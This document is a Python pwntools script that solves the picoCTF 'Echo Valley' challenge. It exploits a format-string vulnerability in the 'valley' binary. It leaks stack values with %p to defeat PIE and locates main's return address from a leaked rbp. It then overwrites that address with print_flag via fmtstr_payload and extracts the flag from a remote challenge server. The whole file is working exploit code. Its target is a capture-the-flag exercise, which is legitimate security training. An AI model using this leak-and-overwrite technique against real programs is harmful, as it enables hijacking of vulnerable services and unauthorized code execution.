#!/usr/bin/env nix-shell
#!nix-shell -i python3 -p "python3.withPackages (ppkgs: with ppkgs; [ pwntools ])"

from this import s
from pwn import *

exe = ELF("./valley")

context.binary = exe

ADDR, PORT, *_ = "shape-facility.picoctf.net 65509".split()

def conn():
    if args.REMOTE:
        r = remote(ADDR, PORT)
    else:
        r = process([exe.path])

    return r

def send_fmt_payload(r: remote, payload: bytes) -> bytes:
    assert len(payload) < 0x100, "Payload too long"
    r.sendline(payload)
    r.recvuntil(b'You heard in the distance: ')
    return r.recvuntil(b'\n').strip()

def debug_leak_multiple(r: remote) -> None:
    for i in range(1, 35):
        result = send_fmt_payload(r, f"%{i}$p".encode())
        print(f"{i}, {result}")

def stage_1_leak_base_address(r: remote) -> None:
    main_func_arg = 27
    result = send_fmt_payload(r, f"%{main_func_arg}$p".encode())
    leaked_address = int(result[2:], 16)
    base_address = leaked_address - exe.symbols['main']
    exe.address = base_address
    print(f"Leaked base address: 0x{base_address:x}")
    assert exe.address & 0xfff == 0, "Base address is not page aligned"

def stage_2_leak_main_rip_addr(r: remote) -> int:
    main_rbp_offset = 20
    result = send_fmt_payload(r, f"%{main_rbp_offset}$p".encode())
    main_rbp = int(result[2:], 16)
    main_rip_addr = main_rbp - 0x08
    print(f"Leaked main's rip address: 0x{main_rip_addr:x}")
    return main_rip_addr

def stage_3_overwrite_return_address(r: remote, main_rip_addr: int) -> None:
    payload = fmtstr_payload(
        6,
        {main_rip_addr: exe.symbols['print_flag']},
        write_size='short'
    )
    r.sendline(payload)

def main():
    r = conn()

    # gdb.attach(r, gdbscript='''
    #   break *echo_valley+137
    #   info proc mappings
    #   c
    # ''')

    r.recvuntil(b'Welcome to the Echo Valley, Try Shouting: \n')

    # debug_leak_multiple(r)
    stage_1_leak_base_address(r)
    main_rip_addr = stage_2_leak_main_rip_addr(r)
    stage_3_overwrite_return_address(r, main_rip_addr)

    r.sendline(b'exit')

    result = r.recvall()
    if b"picoctf{" in result:
        flag = result.split(b"picoctf{")[1].split(b"}")[0]
        print(f"Flag: picoCTF{{{flag.decode()}}}")
    else:
        print("Flag not found in output.")

if __name__ == "__main__":
    main()